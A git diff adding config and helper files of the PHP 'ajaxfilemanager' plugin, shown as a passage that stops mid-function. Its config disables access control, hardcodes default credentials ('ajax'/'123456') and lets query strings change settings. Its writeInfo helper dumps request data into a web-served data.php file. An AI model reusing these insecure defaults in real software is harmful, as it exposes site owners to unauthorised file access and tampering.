//overwirte when processing paste + define('CONFIG_UPLOAD_VALID_EXTS', 'gif,jpg,png');// // + //define('CONFIG_UPLOAD_VALID_EXTS', 'gif,jpg,png,bmp,tif,zip,sit,rar,gz,tar,htm,html,mov,mpg,avi,asf,mpeg,wmv,aif,aiff,wav,mp3,swf,ppt,rtf,doc,pdf,xls,txt,xml,xsl,dtd');// + define("CONFIG_VIEWABLE_VALID_EXTS", 'gif,jpg,png'); + //define('CONFIG_UPLOAD_VALID_EXTS', 'gif,jpg,png,txt'); // + define('CONFIG_UPLOAD_INVALID_EXTS', ''); + + //Preview + define('CONFIG_IMG_THUMBNAIL_MAX_X', 100); + define('CONFIG_IMG_THUMBNAIL_MAX_Y', 100); + define('CONFIG_THICKBOX_MAX_WIDTH', 700); + define('CONFIG_THICKBOX_MAX_HEIGHT', 430); + + + /** + * CONFIG_URL_PREVIEW_ROOT was replaced by CONFIG_WEBSITE_DOCUMENT_ROOT since v0.8 + * Normally, you don't need to bother with CONFIG_WEBSITE_DOCUMENT_ROOT + * Howerver, some Web Hosts do not have standard php.ini setting + * which you will find the file manager can not locate your files correctly + * if you do have such issue, please change it to fit your system. + * so what should you to do get it + * 1. create a php script file (let's call it document_root.php) + * 2. add the following codes in in + * + * 3. upload document_root.php to you website root folder which will only be reached when you visit http://www.domain-name.com or http://localhost/ at localhost computer + * 4. run it via http://www.domain-name.com/document_root.php or http://localhost/docuent_root.php if localhost computer, the url has to be exactly like that + * 5. the value shown on the screen is CONFIG_WEBSITE_DOCUMENT_ROOT should be + * 6. enjoy it + + + * + */ + + + define('CONFIG_WEBSITE_DOCUMENT_ROOT', ''); + //theme related setting + /* + * options avaialbe for CONFIG_EDITOR_NAME are: + stand_alone + tinymce + fckeditor + */ + //CONFIG_EDITOR_NAME replaced CONFIG_THEME_MODE since @version 0.8 + define('CONFIG_EDITOR_NAME', (CONFIG_QUERY_STRING_ENABLE && !empty($_GET['editor'])?secureFileName($_GET['editor']):'tinymce')); + define('CONFIG_THEME_NAME', (CONFIG_QUERY_STRING_ENABLE && !empty($_GET['theme'])?secureFileName($_GET['theme']):'default')); //change the theme to your custom theme rather than default + define('CONFIG_DEFAULT_VIEW', (CONFIG_SYS_THUMBNAIL_VIEW_ENABLE?'detail':'detail')); //thumnail or detail + define('CONFIG_DEFAULT_PAGINATION_LIMIT', 10); + define('CONFIG_LOAD_DOC_LATTER', false); //all documents will be loaded up after the template has been loaded to the client + + //General Option Declarations + //LANGAUGAE DECLARATIONNS + define('CONFIG_LANG_INDEX', 'language'); //the index in the session + define('CONFIG_LANG_DEFAULT', (CONFIG_QUERY_STRING_ENABLE && !empty($_GET['language']) && file_exists(DIR_LANG . secureFileName($_GET['language']) . '.php')?secureFileName($_GET['language']):'en')); //change it to be your language file base name, such en +?> \ No newline at end of file diff --git a/BO/ajaxfilemanager/inc/config.php b/BO/ajaxfilemanager/inc/config.php new file mode 100755 index 0000000..2f30ed2 --- /dev/null +++ b/BO/ajaxfilemanager/inc/config.php @@ -0,0 +1,107 @@ + + require_once(dirname(__FILE__) . DIRECTORY_SEPARATOR . "class.auth.php"); + define('CONFIG_QUERY_STRING_ENABLE', true); //Enable passed query string to setting the system configuration + if(!isset($_SESSION)) + { + session_start(); + } + if(!headers_sent()) + { + header('Content-Type: text/html; charset=utf-8'); + } + + /** + * secure file name which retrieve from query string + * + * @param string $input + * @return string + */ + function secureFileName($input) + { + return preg_replace('/[^a-zA-Z0-9\-_]/', '', $input); + } + //Directories Declarations + + define('DIR_AJAX_ROOT', dirname(dirname(__FILE__)) . DIRECTORY_SEPARATOR) ; // the path to ajax file manager + define('DIR_AJAX_INC', DIR_AJAX_ROOT . "inc" . DIRECTORY_SEPARATOR); + define('DIR_AJAX_CLASSES', DIR_AJAX_ROOT . "classes" . DIRECTORY_SEPARATOR); + define("DIR_AJAX_LANGS", DIR_AJAX_ROOT . "langs" . DIRECTORY_SEPARATOR); + define('DIR_AJAX_JS', DIR_AJAX_ROOT . 'jscripts' . DIRECTORY_SEPARATOR); + define('DIR_AJAX_EDIT_AREA', DIR_AJAX_JS . 'edit_area' . DIRECTORY_SEPARATOR); + define('DIR_LANG', DIR_AJAX_ROOT . 'langs' . DIRECTORY_SEPARATOR); + + + //Class Declarations + define('CLASS_FILE', DIR_AJAX_INC .'class.file.php'); + define("CLASS_UPLOAD", DIR_AJAX_INC . 'class.upload.php'); + define('CLASS_MANAGER', DIR_AJAX_INC . 'class.manager.php'); + define('CLASS_IMAGE', DIR_AJAX_INC . "class.image.php"); + define('CLASS_HISTORY', DIR_AJAX_INC . "class.history.php"); + define('CLASS_SESSION_ACTION', DIR_AJAX_INC . "class.sessionaction.php"); + define('CLASS_PAGINATION', DIR_AJAX_INC . 'class.pagination.php'); + define('CLASS_SEARCH', DIR_AJAX_INC . "class.search.php"); + //SCRIPT FILES declarations + define('SPT_FUNCTION_BASE', DIR_AJAX_INC . 'function.base.php'); + //include different config base file according to query string "config" + $configBaseFileName = 'config.base.php'; + + if(CONFIG_QUERY_STRING_ENABLE && !empty($_GET['config']) && file_exists(dirname(__FILE__)) . DIRECTORY_SEPARATOR . 'config.' . secureFileName($_GET['config']) . ".php") + { + $configBaseFileName = 'config.' . secureFileName($_GET['config']) . ".php"; + } + require_once(dirname(__FILE__) . DIRECTORY_SEPARATOR . $configBaseFileName); + + + require_once(DIR_AJAX_LANGS . CONFIG_LANG_DEFAULT . ".php"); + require_once(DIR_AJAX_INC . "function.base.php"); + + require_once(dirname(__FILE__) . DIRECTORY_SEPARATOR . "class.session.php"); + $session = new Session(); + $auth = new Auth(); + + if(CONFIG_ACCESS_CONTROL_MODE == 1) + {//access control enabled + if(!$auth->isLoggedIn() && strtolower(basename($_SERVER['PHP_SELF']) != strtolower(basename(CONFIG_LOGIN_PAGE)))) + {// + header('Location: ' . appendQueryString(CONFIG_LOGIN_PAGE, makeQueryString())); + exit; + } + } + addNoCacheHeaders(); + //URL Declartions + define('CONFIG_URL_IMAGE_PREVIEW', 'ajax_image_preview.php'); + define('CONFIG_URL_CREATE_FOLDER', 'ajax_create_folder.php'); + define('CONFIG_URL_DELETE', 'ajax_delete_file.php'); + define('CONFIG_URL_HOME', 'ajaxfilemanager.php'); + define("CONFIG_URL_UPLOAD", 'ajax_file_upload.php'); + define('CONFIG_URL_PREVIEW', 'ajax_preview.php'); + define('CONFIG_URL_SAVE_NAME', 'ajax_save_name.php'); + define('CONFIG_URL_IMAGE_EDITOR', 'ajax_image_editor.php'); + define('CONFIG_URL_IMAGE_SAVE', 'ajax_image_save.php'); + define('CONFIG_URL_IMAGE_RESET', 'ajax_editor_reset.php'); + define('CONFIG_URL_IMAGE_UNDO', 'ajax_image_undo.php'); + define('CONFIG_URL_CUT', 'ajax_file_cut.php'); + define('CONFIG_URL_COPY', 'ajax_file_copy.php'); + define('CONFIG_URL_LOAD_FOLDERS', '_ajax_load_folders.php'); + + define('CONFIG_URL_DOWNLOAD', 'ajax_download.php'); + define('CONFIG_URL_TEXT_EDITOR', 'ajax_text_editor.php'); + define('CONFIG_URL_GET_FOLDER_LIST', 'ajax_get_folder_listing.php'); + define('CONFIG_URL_SAVE_TEXT', 'ajax_save_text.php'); + define('CONFIG_URL_LIST_LISTING', 'ajax_get_file_listing.php'); + define('CONFIG_URL_IMG_THUMBNAIL', 'ajax_image_thumbnail.php'); + define('CONFIG_URL_FILEnIMAGE_MANAGER', 'ajaxfilemanager.php'); + define('CONFIG_URL_FILE_PASTE', 'ajax_file_paste.php'); + + +?> \ No newline at end of file diff --git a/BO/ajaxfilemanager/inc/config.tinymce.php b/BO/ajaxfilemanager/inc/config.tinymce.php new file mode 100755 index 0000000..c406f47 --- /dev/null +++ b/BO/ajaxfilemanager/inc/config.tinymce.php @@ -0,0 +1,130 @@ + false + * by session => true + */ + define('CONFIG_ACCESS_CONTROL_MODE', false); + define("CONFIG_LOGIN_USERNAME", 'ajax'); + define('CONFIG_LOGIN_PASSWORD', '123456'); + define('CONFIG_LOGIN_PAGE', 'ajax_login.php'); //the url to the login page + + //SYSTEM MODE CONFIG + /** + * turn it on when you have this system for demo purpose + * that means changes made to each image is not physically applied to it + * and all uploaded files/created folders will be removed automatically + */ + define('CONFIG_SYS_DEMO_ENABLE', false); + define('CONFIG_SYS_VIEW_ONLY', false); //diabled the system, view only + define('CONFIG_SYS_THUMBNAIL_VIEW_ENABLE', true);//REMOVE THE thumbnail view if false + + //User Permissions + define('CONFIG_OPTIONS_DELETE', true); + define('CONFIG_OPTIONS_CUT', true); + define('CONFIG_OPTIONS_COPY', true); + define('CONFIG_OPTIONS_NEWFOLDER', true); + define('CONFIG_OPTIONS_RENAME', true); + define('CONFIG_OPTIONS_UPLOAD', true); // + define('CONFIG_OPTIONS_EDITABLE', true); //disable image editor and text editor + //FILESYSTEM CONFIG + /* + * CONFIG_SYS_DEFAULT_PATH is the default folder where the files would be uploaded to + and it must be a folder under the CONFIG_SYS_ROOT_PATH or the same folder + these two paths accept relative path only, don't use absolute path + */ + + define('CONFIG_SYS_DEFAULT_PATH', '../uploaded/'); //accept relative path only + define('CONFIG_SYS_ROOT_PATH', '../uploaded/'); //accept relative path only + define('CONFIG_SYS_FOLDER_SHOWN_ON_TOP', true); //show your folders on the top of list if true or order by name + define("CONFIG_SYS_DIR_SESSION_PATH", 'session/'); + define("CONFIG_SYS_PATTERN_FORMAT", 'list'); //three options: reg ,csv, list, this option define the parttern format for the following patterns + /** + * reg => regulare expression + * csv => a list of comma separated file/folder name, (exactly match the specified file/folders) + * list => a list of comma spearated vague file/folder name (partially match the specified file/folders) + * + */ + //more details about regular expression please visit http://nz.php.net/manual/en/function.eregi.php + define('CONFIG_SYS_INC_DIR_PATTERN', ''); //force listing of folders with such pattern(s). separated by , if multiple + define('CONFIG_SYS_EXC_DIR_PATTERN', ''); //will prevent listing of folders with such pattern(s). separated by , if multiple + define('CONFIG_SYS_INC_FILE_PATTERN', ''); //force listing of fiels with such pattern(s). separated by , if multiple + define('CONFIG_SYS_EXC_FILE_PATTERN', ''); //will prevent listing of files with such pattern(s). separated by , if multiple + define('CONFIG_SYS_DELETE_RECURSIVE', 1); //delete all contents within a specific folder if set to be 1 + + //UPLOAD OPTIONS CONFIG + define('CONFIG_UPLOAD_MAXSIZE', 5000 * 1024 ); //by bytes + //define('CONFIG_UPLOAD_MAXSIZE', 2048); //by bytes + //define('CONFIG_UPLOAD_VALID_EXTS', 'txt');// + + define('CONFIG_EDITABLE_VALID_EXTS', 'txt,htm,html,xml,js,css'); //make you include all these extension in CONFIG_UPLOAD_VALID_EXTS if you want all valid + + define('CONFIG_OVERWRITTEN', false); //overwirte when processing paste + define('CONFIG_UPLOAD_VALID_EXTS', 'gif,jpg,png,txt'); // + //define('CONFIG_UPLOAD_VALID_EXTS', 'gif,jpg,png,bmp,tif,zip,sit,rar,gz,tar,htm,html,mov,mpg,avi,asf,mpeg,wmv,aif,aiff,wav,mp3,swf,ppt,rtf,doc,pdf,xls,txt,xml,xsl,dtd');// + define("CONFIG_VIEWABLE_VALID_EXTS", 'gif,bmp,txt,jpg,png,tif,html,htm,js,css,xml,xsl,dtd,mp3,wav,wmv,wma,rm,rmvb,mov,swf'); + //define('CONFIG_UPLOAD_VALID_EXTS', 'gif,jpg,png,txt'); // + define('CONFIG_UPLOAD_INVALID_EXTS', ''); + + //Preview + define('CONFIG_IMG_THUMBNAIL_MAX_X', 100); + define('CONFIG_IMG_THUMBNAIL_MAX_Y', 100); + define('CONFIG_THICKBOX_MAX_WIDTH', 700); + define('CONFIG_THICKBOX_MAX_HEIGHT', 430); + + + /** + * CONFIG_URL_PREVIEW_ROOT was replaced by CONFIG_WEBSITE_DOCUMENT_ROOT since v0.8 + * Normally, you don't need to bother with CONFIG_WEBSITE_DOCUMENT_ROOT + * Howerver, some Web Hosts do not have standard php.ini setting + * which you will find the file manager can not locate your files correctly + * if you do have such issue, please change it to fit your system. + * so what should you to do get it + * 1. create a php script file (let's call it document_root.php) + * 2. add the following codes in in + * + * 3. upload document_root.php to you website root folder which will only be reached when you visit http://www.domain-name.com or http://localhost/ at localhost computer + * 4. run it via http://www.domain-name.com/document_root.php or http://localhost/docuent_root.php if localhost computer, the url has to be exactly like that + * 5. the value shown on the screen is CONFIG_WEBSITE_DOCUMENT_ROOT should be + * 6. enjoy it + + + * + */ + + + define('CONFIG_WEBSITE_DOCUMENT_ROOT', ''); + //theme related setting + /* + * options avaialbe for CONFIG_EDITOR_NAME are: + stand_alone + tinymce + fckeditor + */ + //CONFIG_EDITOR_NAME replaced CONFIG_THEME_MODE since @version 0.8 + define('CONFIG_EDITOR_NAME', (CONFIG_QUERY_STRING_ENABLE && !empty($_GET['editor'])?secureFileName($_GET['editor']):'stand_alone')); + define('CONFIG_THEME_NAME', (CONFIG_QUERY_STRING_ENABLE && !empty($_GET['theme'])?secureFileName($_GET['theme']):'default')); //change the theme to your custom theme rather than default + define('CONFIG_DEFAULT_VIEW', (CONFIG_SYS_THUMBNAIL_VIEW_ENABLE?'detail':'detail')); //thumnail or detail + define('CONFIG_DEFAULT_PAGINATION_LIMIT', 10); + define('CONFIG_LOAD_DOC_LATTER', false); //all documents will be loaded up after the template has been loaded to the client + + //General Option Declarations + //LANGAUGAE DECLARATIONNS + define('CONFIG_LANG_INDEX', 'language'); //the index in the session + define('CONFIG_LANG_DEFAULT', (CONFIG_QUERY_STRING_ENABLE && !empty($_GET['language']) && file_exists(DIR_LANG . secureFileName($_GET['language'] . '.php'))?secureFileName($_GET['language']):'en')); //change it to be your language file base name, such en +?> diff --git a/BO/ajaxfilemanager/inc/data.php b/BO/ajaxfilemanager/inc/data.php new file mode 100755 index 0000000..e0d9ddd --- /dev/null +++ b/BO/ajaxfilemanager/inc/data.php @@ -0,0 +1,8 @@ +
Array
+(
+    [currentFolderPath] => ../uploaded/
+    [new_folder] => Test
+)
+
+ +22/Sep/2008 13:17:12 \ No newline at end of file diff --git a/BO/ajaxfilemanager/inc/function.base.php b/BO/ajaxfilemanager/inc/function.base.php new file mode 100755 index 0000000..9be334c --- /dev/null +++ b/BO/ajaxfilemanager/inc/function.base.php @@ -0,0 +1,1225 @@ +$v) + { + if(array_search($k, $excls) ===false) + { + $strAppend = "&"; + if($count == 1) + { + $strAppend = "?"; + $count++; + } + $output .= $strAppend . $k . "=" . $v; + } + } + return htmlspecialchars($output); + } + +/** + * print out an array + * + * @param array $array + */ +function displayArray($array, $comments="") +{ + echo "
";
+	echo $comments;
+	print_r($array);
+	echo $comments;
+	echo "
"; +} + + + + /** + * check if a file extension is permitted + * + * @param string $filePath + * @param array $validExts + * @param array $invalidExts + * @return boolean + */ + function isValidExt($filePath, $validExts, $invalidExts=array()) + { + $tem = array(); + + if(sizeof($validExts)) + { + foreach($validExts as $k=>$v) + { + $tem[$k] = strtolower(trim($v)); + } + } + $validExts = $tem; + $tem = array(); + if(sizeof($invalidExts)) + { + foreach($invalidExts as $k=>$v) + { + $tem[$k] = strtolower(trim($v)); + } + } + $invalidExts = $tem; + if(sizeof($validExts) && sizeof($invalidExts)) + { + foreach($validExts as $k=>$ext) + { + if(array_search($ext, $invalidExts) !== false) + { + unset($validExts[$k]); + } + } + } + if(sizeof($validExts)) + { + if(array_search(strtolower(getFileExt($filePath)), $validExts) !== false) + { + return true; + }else + { + return false; + } + }elseif(array_search(strtolower(getFileExt($filePath)), $invalidExts) === false) + { + return true; + }else + { + return false; + } + } + + + + + +/** + * transform file relative path to absolute path + * @param string $value the path to the file + * @return string + */ +function relToAbs($value) +{ + return backslashToSlash(preg_replace("/(\\\\)/","\\", getRealPath($value))); + +} + + function getRelativeFileUrl($value, $relativeTo) + { + $output = ''; + $wwwroot = removeTrailingSlash(backslashToSlash(getRootPath())); + $urlprefix = ""; + $urlsuffix = ""; + $value = backslashToSlash(getRealPath($value)); + $pos = strpos($value, $wwwroot); + if ($pos !== false && $pos == 0) + { + $output = $urlprefix . substr($value, strlen($wwwroot)) . $urlsuffix; + } + } +/** + * replace slash with backslash + * + * @param string $value the path to the file + * @return string + */ +function slashToBackslash($value) { + return str_replace("/", DIRECTORY_SEPARATOR, $value); +} + +/** + * replace backslash with slash + * + * @param string $value the path to the file + * @return string + */ +function backslashToSlash($value) { + return str_replace(DIRECTORY_SEPARATOR, "/", $value); +} + +/** + * removes the trailing slash + * + * @param string $value + * @return string + */ +function removeTrailingSlash($value) { + if(preg_match('@^.+/$@i', $value)) + { + $value = substr($value, 0, strlen($value)-1); + } + return $value; +} + +/** + * append a trailing slash + * + * @param string $value + * @return string + */ +function addTrailingSlash($value) +{ + if(preg_match('@^.*[^/]{1}$@i', $value)) + { + $value .= '/'; + } + return $value; +} + +/** + * transform a file path to user friendly + * + * @param string $value + * @return string + */ +function transformFilePath($value) { + $rootPath = addTrailingSlash(backslashToSlash(getRealPath(CONFIG_SYS_ROOT_PATH))); + $value = addTrailingSlash(backslashToSlash(getRealPath($value))); + if(!empty($rootPath) && ($i = strpos($value, $rootPath)) !== false) + { + $value = ($i == 0?substr($value, strlen($rootPath)):"/"); + } + $value = prependSlash($value); + return $value; +} +/** + * prepend slash + * + * @param string $value + * @return string + */ +function prependSlash($value) +{ + if (($value && $value[0] != '/') || !$value ) + { + $value = "/" . $value; + } + return $value; +} + + + function writeInfo($data, $die = false) + { + $fp = @fopen(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'data.php', 'w+'); + @fwrite($fp, $data); + @fwrite($fp, "\n\n" . date('d/M/Y H:i:s') ); + @fclose($fp); + if($die) + { + die(); + } + + } + +/** + * no cachable header + */ +function addNoCacheHeaders() { + header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); + header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); + header("Cache-Control: no-store, no-cache, must-revalidate"); + header("Cache-Control: post-check=0, pre-check=0", false); + header("Pragma: no-cache"); +} + /** + * add extra query stiring to a url + * @param string $baseUrl + * @param string $extra the query string added to the base url + */ + function appendQueryString($baseUrl, $extra) + { + $output = $baseUrl; + if(!empty($extra)) + { + if(strpos($baseUrl, "?") !== false) + { + $output .= "&" . $extra; + }else + { + $output .= "?" . $extra; + } + } + + return $output; + } + /** + * make the query strin from $_GET, but excluding those specified by $excluded + * + * @param array $excluded + * @return string + */ + function makeQueryString($excluded=array()) + { + $output = ''; + $count = 1; + foreach($_GET as $k=>$v) + { + if(array_search($k, $excluded) === false) + { + $output .= ($count>1?'&':'') . ($k . "=" . $v); + $count++; + } + } + return $output; + } + /** + * get parent path from specific path + * + * @param string $value + * @return string + */ + function getParentPath($value) + { + $value = removeTrailingSlash(backslashToSlash($value)); + if(false !== ($index = strrpos($value, "/")) ) + { + return substr($value, 0, $index); + } + + } + + + /** + * check if the file/folder is sit under the root + * + * @param string $value + * @return boolean + */ + function isUnderRoot($value) + { + $roorPath = strtolower(addTrailingSlash(backslashToSlash(getRealPath(CONFIG_SYS_ROOT_PATH)))); + if(file_exists($value) && @strpos(strtolower(addTrailingSlash(backslashToSlash(getRealPath($value)))), $roorPath) === 0 ) + { + return true; + } + return false; + } + /** + * check if a file under the session folder + * + * @param string $value + * @return boolean + */ + function isUnderSession($value) + { + global $session; + $sessionPath = strtolower(addTrailingSlash(backslashToSlash(getRealPath($session->getSessionDir())))); + if(file_exists($value) && @strpos(strtolower(addTrailingSlash(backslashToSlash(getRealPath($value)))), $sessionPath) === 0 ) + { + return true; + } + return false; + } + + + /** + * get thumbnail width and height + * + * @param integer $originaleImageWidth + * @param integer $originalImageHeight + * @param integer $thumbnailWidth + * @param integer $thumbnailHeight + * @return array() + */ + function getThumbWidthHeight( $originaleImageWidth, $originalImageHeight, $thumbnailWidth, $thumbnailHeight) + { + $outputs = array( "width"=>0, "height"=>0); + $thumbnailWidth = (int)($thumbnailWidth); + $thumbnailHeight = (int)($thumbnailHeight); + if(!empty($originaleImageWidth) && !empty($originalImageHeight)) + { + //start to get the thumbnail width & height + if(($thumbnailWidth < 1 && $thumbnailHeight < 1) || ($thumbnailWidth > $originaleImageWidth && $thumbnailHeight > $originalImageHeight )) + { + $thumbnailWidth =$originaleImageWidth; + $thumbnailHeight = $originalImageHeight; + }elseif($thumbnailWidth < 1) + { + $thumbnailWidth = floor($thumbnailHeight / $originalImageHeight * $originaleImageWidth); + + }elseif($thumbnailHeight < 1) + { + $thumbnailHeight = floor($thumbnailWidth / $originaleImageWidth * $originalImageHeight); + }else + { + $scale = min($thumbnailWidth/$originaleImageWidth, $thumbnailHeight/$originalImageHeight); + $thumbnailWidth = floor($scale*$originaleImageWidth); + $thumbnailHeight = floor($scale*$originalImageHeight); + } + $outputs['width'] = $thumbnailWidth; + $outputs['height'] = $thumbnailHeight; + } + return $outputs; + + } +/** + * turn to absolute path from relative path + * + * @param string $value + * @return string + */ +function getAbsPath($value) { + if (substr($value, 0, 1) == "/") + return slashToBackslash(DIR_AJAX_ROOT . $value); + + return slashToBackslash(dirname(__FILE__) . "/" . $value); +} + + /** + * get file/folder base name + * + * @param string $value + * @return string + */ + function getBaseName($value) + { + $value = removeTrailingSlash(backslashToSlash($value)); + + if(false !== ($index = strrpos($value, "/")) ) + { + return substr($value, $index + 1); + }else + { + return $value; + } + } + +function myRealPath($path) { + + if(strpos($path, ':/') !== false) + { + return $path; + } + // check if path begins with "/" ie. is absolute + // if it isnt concat with script path + + if (strpos($path,"/") !== 0 ) { + $base=dirname($_SERVER['SCRIPT_FILENAME']); + $path=$base."/".$path; + } + + // canonicalize + $path=explode('/', $path); + $newpath=array(); + for ($i=0; $i 1048576) + { + return round($size / 1048576, 1) . " MB"; + }elseif ($size > 1024) + { + return round($size / 1024, 1) . " KB"; + }elseif($size == '') + { + return $size; + }else + { + return $size . " b"; + } +} + + /** + * remove beginging slash + * + * @param string $value + * @return string + */ + function removeBeginingSlash($value) + { + $value = backslashToSlash($value); + if(strpos($value, "/") === 0) + { + $value = substr($value, 1); + } + return $value; + } + +/** + * get site root path + * + * @return String. + */ +function getRootPath() { + $output = ""; + if (defined('CONFIG_WEBSITE_DOCUMENT_ROOT') && CONFIG_WEBSITE_DOCUMENT_ROOT) + { + return slashToBackslash(CONFIG_WEBSITE_DOCUMENT_ROOT); + } + if(isset($_SERVER['DOCUMENT_ROOT']) && ($output = relToAbs($_SERVER['DOCUMENT_ROOT'])) != '' ) + { + return $output; + }elseif(isset($_SERVER["SCRIPT_NAME"]) && isset($_SERVER["SCRIPT_FILENAME"]) && ($output = str_replace(backslashToSlash($_SERVER["SCRIPT_NAME"]), "", backslashToSlash($_SERVER["SCRIPT_FILENAME"]))) && is_dir($output)) + { + return slashToBackslash($output); + }elseif(isset($_SERVER["SCRIPT_NAME"]) && isset($_SERVER["PATH_TRANSLATED"]) && ($output = str_replace(backslashToSlash($_SERVER["SCRIPT_NAME"]), "", str_replace("//", "/", backslashToSlash($_SERVER["PATH_TRANSLATED"])))) && is_dir($output)) + { + return $output; + }else + { + return ''; + } + + return null; +} + + + /** + * add beginging slash + * + * @param string $value + * @return string + */ + function addBeginingSlash($value) + { + if(strpos($value, "/") !== 0 && !empty($value)) + { + $value .= "/" . $value; + } + return $value; + } + + + + + + /** + * get a file extension + * + * @param string $fileName the path to a file or just the file name + */ + function getFileExt($filePath) + { + return @substr(@strrchr($filePath, "."), 1); + } + + /** + * reuturn the relative path between two url + * + * @param string $start_dir + * @param string $final_dir + * @return string + */ + function getRelativePath($start_dir, $final_dir){ + // + $firstPathParts = explode(DIRECTORY_SEPARATOR, $start_dir); + $secondPathParts = explode(DIRECTORY_SEPARATOR, $final_dir); + // + $sameCounter = 0; + for($i = 0; $i < min( count($firstPathParts), count($secondPathParts) ); $i++) { + if( strtolower($firstPathParts[$i]) !== strtolower($secondPathParts[$i]) ) { + break; + } + $sameCounter++; + } + if( $sameCounter == 0 ) { + return $final_dir; + } + // + $newPath = ''; + for($i = $sameCounter; $i < count($firstPathParts); $i++) { + if( $i > $sameCounter ) { + $newPath .= DIRECTORY_SEPARATOR; + } + $newPath .= ".."; + } + if( count($newPath) == 0 ) { + $newPath = "."; + } + for($i = $sameCounter; $i < count($secondPathParts); $i++) { + $newPath .= DIRECTORY_SEPARATOR; + $newPath .= $secondPathParts[$i]; + } + // + return $newPath; + } + /** + * get the php server memory limit + * @return integer + * + */ + function getMemoryLimit() + { + $output = @ini_get('memory_limit') or $output = -1 ; + if((int)($output) < 0) + {//unlimited + $output = 999999999999999999; + } + elseif(strpos('g', strtolower($output)) !== false) + { + $output = (int)($output) * 1024 * 1024 * 1024; + }elseif(strpos('k', strtolower($output)) !== false) + { + $output = (int)($output) * 1024 ; + }else + { + $output = (int)($output) * 1024 * 1024; + } + + return $output; + } + /** + * get file content + * + * @param string $path + */ + function getFileContent($path) + { + return @file_get_contents($path); + //return str_replace(array("\r", "\n", '"', "\t"), array("", "\\n", '\"', "\\t"), @file_get_contents($path)); + } + /** + * get the list of folder under a specified folder + * which will be used for drop-down menu + * @param string $path the path of the specified folder + * @param array $outputs + * @param string $indexNumber + * @param string $prefixNumber the prefix before the index number + * @param string $prefixName the prefix before the folder name + * @return array + */ + function getFolderListing($path,$indexNumber=null, $prefixNumber =' ', $prefixName =' - ', $outputs=array()) + { + $path = removeTrailingSlash(backslashToSlash($path)); + if(is_null($indexNumber)) + { + $outputs[IMG_LBL_ROOT_FOLDER] = removeTrailingSlash(backslashToSlash($path)); + } + $fh = @opendir($path); + if($fh) + { + $count = 1; + while($file = @readdir($fh)) + { + $newPath = removeTrailingSlash(backslashToSlash($path . "/" . $file)); + if(isListingDocument($newPath) && $file != '.' && $file != '..' && is_dir($newPath)) + { + if(!empty($indexNumber)) + {//this is not root folder + + $outputs[$prefixNumber . $indexNumber . "." . $count . $prefixName . $file] = $newPath; + getFolderListing($newPath, $prefixNumber . $indexNumber . "." . $count , $prefixNumber, $prefixName, $outputs); + }else + {//this is root folder + + $outputs[$count . $prefixName . $file] = $newPath; + getFolderListing($newPath, $count, $prefixNumber, $prefixName, $outputs); + } + $count++; + } + } + @closedir($fh); + } + return $outputs; + } + + + /** + * get the valid text editor extension + * which is calcualte from the CONFIG_EDITABALE_VALID_EXTS + * exclude those specified in CONFIG_UPLOAD_INVALID_EXTS + * and those are not specified in CONFIG_UPLOAD_VALID_EXTS + * + * @return array + */ + function getValidTextEditorExts() + { + $validEditorExts = explode(',', CONFIG_EDITABLE_VALID_EXTS); + if(CONFIG_UPLOAD_VALID_EXTS) + {//exclude those exts not shown on CONFIG_UPLOAD_VALID_EXTS + $validUploadExts = explode(',', CONFIG_UPLOAD_VALID_EXTS); + foreach($validEditorExts as $k=>$v) + { + if(array_search($v, $validUploadExts) === false) + { + unset($validEditorExts[$k]); + } + } + } + if(CONFIG_UPLOAD_INVALID_EXTS) + {//exlcude those exists in CONFIG_UPLOAD_INVALID_EXTS + $invalidUploadExts = explode(',', CONFIG_UPLOAD_INVALID_EXTS); + foreach($validEditorExts as $k=>$v) + { + if(array_search($v, $invalidUploadExts) !== false) + { + unset($validEditorExts[$k]); + } + } + } + return $validEditorExts; + + } + /** + * check if file name or folder name is valid against a regular expression + * + * @param string $pattern regular expression, separated by , if multiple + * @param string $string + * @return booolean + */ + function isValidPattern( $pattern, $string) + { + if(($pattern)=== '') + { + return true; + } + else if (strpos($pattern,",")!==false) + { + $regExps = explode(',', $pattern); + foreach ($regExps as $regExp => $value) + { + if(eregi($value, $string)) + { + return true; + } + } + } + else if(eregi($pattern, $string)) + { + return true; + } + return false; + + } + + + /** + * check if file name or folder name is invalid against a regular expression + * + * @param string $pattern regular expression, separated by , if multiple + * @param string $string + * @return booolean + */ + function isInvalidPattern( $pattern, $string) + { + if(($pattern)=== '') + { + return false; + } + else if (strpos($pattern,",")!==false) + { + $regExps = explode(',', $pattern); + foreach ($regExps as $regExp => $value) + { + if(eregi($value, $string)) + { + return true; + } + } + } + else if(eregi($pattern, $string)) + { + return true; + } + return false; + + } + + + /** + * cut the file down to fit the list page + * + * @param string $fileName + */ + function shortenFileName($fileName, $maxLeng=17, $indicate = '...') + { + if(strlen($fileName) > $maxLeng) + { + $fileName = substr($fileName, 0, $maxLeng - strlen($indicate)) . $indicate; + } + return $fileName; + + } + if (!function_exists('mime_content_type')) + { + function mime_content_type ( $f ) + { + return trim ( @exec ('file -bi ' . escapeshellarg ( $f ) ) ) ; + } + } + + /** + * check if such document is allowed to shown on the list + * + * @param string $path the path to the document + * @return boolean + */ + function isListingDocument($path) + { + $file = basename($path); + if(CONFIG_SYS_PATTERN_FORMAT == 'list') + {// comma delimited vague file/folder name + + + + + if(is_dir($path)) + { + $includeDir = trimlrm(CONFIG_SYS_INC_DIR_PATTERN); + $excludeDir = trimlrm(CONFIG_SYS_EXC_DIR_PATTERN); + $found_includeDir = strpos($includeDir, $file); + $found_excludeDir = strpos($excludeDir, $file); + if((!CONFIG_SYS_INC_DIR_PATTERN || (!($found_includeDir === FALSE))) && (!CONFIG_SYS_EXC_DIR_PATTERN || (($found_excludeDir === FALSE)))) + { + return true; + }else + { + return false; + } + }elseif(is_file($path)) + { + $includeFile = trimlrm(CONFIG_SYS_INC_FILE_PATTERN); + $excludeFile = trimlrm(CONFIG_SYS_EXC_FILE_PATTERN); + $found_includeFile = strpos($includeFile, $file); + $found_excludeFile = strpos($excludeFile, $file); + if((!CONFIG_SYS_INC_FILE_PATTERN || (!($found_includeFile === FALSE))) && (!CONFIG_SYS_EXC_FILE_PATTERN || (($found_excludeFile === FALSE)))) + { + return true; + }else + { + return false; + } + } + }elseif(CONFIG_SYS_PATTERN_FORMAT == 'csv') + {//comma delimited file/folder name + + if(is_dir($path)) + { + + $includeDir = trimlrm(CONFIG_SYS_INC_DIR_PATTERN); + $excludeDir = 